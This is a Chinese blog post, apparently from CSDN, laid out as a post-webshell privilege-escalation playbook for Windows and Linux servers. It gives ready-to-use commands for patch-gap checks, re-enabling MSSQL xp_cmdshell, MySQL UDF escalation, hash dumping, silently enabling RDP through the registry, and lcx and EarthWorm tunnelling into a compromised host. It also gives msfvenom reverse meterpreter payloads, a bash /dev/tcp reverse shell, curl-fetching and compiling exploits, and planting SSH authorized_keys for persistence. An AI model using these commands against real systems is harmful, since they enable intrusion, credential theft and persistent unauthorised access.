提权

提权

0x00 介绍

当攻击者拿到一个网站的webshell后,需要更进一步的进行破坏或者渗透,webshell只有网站的权限,当服务器权限配置安全时,攻击者无法执行某些高权限命令,需要提升自己的权限,通过一些方式获取权限的提升,就叫做提权

0x01 分类

安服务器操作系统分类
  • Windows提权
  • Linux提权

0x02 提权方式

  • 操作漏洞提权
  • 第三方系统服务提权

0x03 Windows提权

操作漏洞提权
  1. systeminfo命令

  2. 查看修补的补丁编号
    批处理脚本查看是否安装补丁

  3. 根据没有打补丁的补丁号码,到网址找利用程序
    http://www.7kb.org/138.html

systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3057191
KB2840221 KB3000061 KB2850851 KB2711167 KB2360937
KB2478960 KB2507938 KB2566454 KB2646524 KB2645640
KB2641653 KB944653 KB952004 KB971657 KB2620712
KB2393802 KB942831 KB2503665 KB2592799 KB956572
KB977165 KB2621440) do @type C:\Windows\Temp\temp.txt|
@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows
\Temp\temp.txt

系统漏洞提权
- CVE-2014-4113
- CVE-2013-3660
- CVE-2013-5065
- MS10048

systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195) do @type C:\Windows \Temp\temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f / q /a C:\Windows\Temp\temp.txt


使用相关软件提权
- PR - pr.exe
- 巴西烤肉-Churrasco.exe
- iis6.0溢出-iis6.0.exe
- LPK劫持-lpk.dll

第三方服务提权

  • FTP
    serv-u ftp提权
  • MSSQL
    xp_cmdshell
    mssql默认运行在系统权限上,可以通过xp_cmdshell组件执行系统命令,继承system权限

    条件

    数据库 dba权限
    #### 恢复xp_cmdshell组件
    数据库操作页面执行

    USE master;
    EXEC sp_configure 'show advanced options', 1 RECONFIGURE WITH OVERRIDE;
    EXEC sp_configure 'xp_cmdshell', 1 RECONFIGURE WITH OVERRIDE;
    EXEC sp_configure 'show advanced options', 0 RECONFIGURE WITH OVERRIDE;
    

    或者使用大马自带功能

  • MySQL
    UDF提权
    User defined Function,用户定义函数。
    相关资料
    MySQL:如何编写UDF
    http://www.2cto.com/database/201110/108925.html
    UDF Compiling and Installing
    http://dev.mysql.com/doc/refman/5.7/en/udf-compiling.html

    UDF提权利用过程

    1、导入udf.dll到服务器指定目录
    mysql版本>=5.1
    mysql/lib/plugin
    查看mysql安装目录
    select @@basedir;
    mysql<5.1
    导入c:\windows\
    2、使用sql语句创建功能函数

    CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'

    3、执行mysql语句调用新创建函数

    select shell(‘cmd','whoami')

    4、删除创建的函数

    drop function shell;

    创建plugin_dir目录

    Dump udf.dll

    使用udf.dll创建函数

    使用新建的shell函数执行系统命令

    MOF提权

提权后期

导出主机密码
导出主机密码hash
  • 条件
    • administrator以上权限
  • 工具
    • wce
    • gethash
    • hashdump


开启3389

当拿到管理员账户密码的时候,我们需要远程连接到对方的服务器,可以通过远程桌面连接(3389端口),如果3389没有开放,我们需要开启3389端口

Windows Registry Editor 
Version 5.00 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control \Terminal Server]
"fDenyTSConnections"=dword:00000000 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control \Terminal Server\Wds\rdpwd\Tds\tcp] 
"PortNumber"=dword:00000D3D 
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] 
"PortNumber"=dword:00000D3D

静默不提示运行注册表

regedit /s c:\3389.reg

上传3389.reg 运行

端口转发
  • lcx
    windows
    公网ip的主机上:

    lcx.exe -listen 51 8080

    内网主机:

    lcx.exe -slave 公网主机IP 51 127.0.0.1 3389

    linux
    公网ip的主机上:

    ./lcx -m 2 -p1 2333 -p2 3389

    内网主机:

    “`
    lcx.exe -slave 你的IP 2333 肉鸡ip 3389

网络环境:

(1)主机A可以随意连接外网

(2)主机B在外网无法连接未经防火墙许可的端口(例如 3389端口)

原理:

(1)内网主机A主动连接外网主机B的80端口

(2)主机B的80端口接受的数据转到5630端口

(3)从5630端口输入的数据也可以转到80端口

(4)从80端口输入的数据传到主机A

(5)主机A上的端口转发工具(LCX)再把从主机B的80 端口收到的数据转到主机A的3389端口。

(6)从主机A的3389端口输入的数据也可以 到达主机B

  • EarthWorm
    http://rootkiter.com/EarthWorm/

    公网主机

    ./ew -s rcsocks -l 1080 -e 8888

    内网主机

    ./ew -s rssocks -d 公网ip -e 8888







    配置完成后需要一款代理软件
    linux
    proxychains
    配置/etc/proxychains.conf

    socks5 127.0.0.1 1080
    proxychains rdesktop 10.22.4.108


    windows
    Proxifier(简洁)
    Sockscap(功能多)

木马种植

web服务器没有开启3389远程桌面连接,或者ip在内网中,可以使用木马种植来控制远程服务器
缺点
绕过杀毒软件
工具
- gh0st
自己编写精简,修改删除自启动模块
- meterpreter
生成windows反弹型的meterpreter

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.22.66.88 LPORT=5656 -f exe -o /tmp/5616.exe
```
生成的文件上传到服务器
远程监听主机  

```
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
show options
set LHOST 0.0.0.0
set LPORT 5616
set EXITonSession false
exploit -j
```
jobs 查看后台任务  
在web服务器上执行5616.exe 
![](http://oansleg1g.bkt.clouddn.com/16-8-10/26570178.jpg)
![](http://oansleg1g.bkt.clouddn.com/16-8-10/57393919.jpg)
使用会话  
![](http://oansleg1g.bkt.clouddn.com/16-8-10/71929621.jpg)

0x04 Linux提权

操作系统漏洞提权
1、获取操作系统的版本号
  • 获取发行版本
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
  • 获取内核版本
cat /proc/version 
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz
2、搜索 exp

http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/ http://www.google.com

3、反弹shell

自己主机监听端口
nc -l -p 8080
目标主机执行命令

/bin/bash -i >& /dev/tcp/10.22.66.88/8080 0<&1
4、尝试利用exp

远程下载exp

curl https://www.exploit-db.com/download/35370 >/tmp/exp.c

查看使用帮助
head exp.c

编译执行

gcc exploit.c -o exploit -lpthread
./exploit

因为反弹后门连上 nc 后交互效果不好
所以使用

python -c 'import pty; pty.spawn("/bin/bash")'

利用pythoon创建一个交互的/bin/bash

第三方服务提权

mysql root权限 udf提权

扩展


SSH反向连接

主机A
- 有外网ip,ssh端口开放

主机B
- 内网中、没有外网ip,ssh端口开放

B主机运行

ssh -NfR 1234:localhost:22 user1@A-IP

输入A主机user1用户密码,即在A主机监听一个1234端口,与B主机的22端口绑定

连接A的ip,输入B主机的用户名、密码登录

ssh user@A-IP -p 1234

exmple
内网B主机

公网A主机

SSH Socks5代理
ssh -N -D 1081 远程主机

SSH免密码登录


免密码登录前提

把当前一个文件copy到远程另外一台主机上使用scp

scp ~/.ssh/id_rsa.pub root@45.32.32.95:/root/.ssh/authorized_keys

成功免密码登录

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值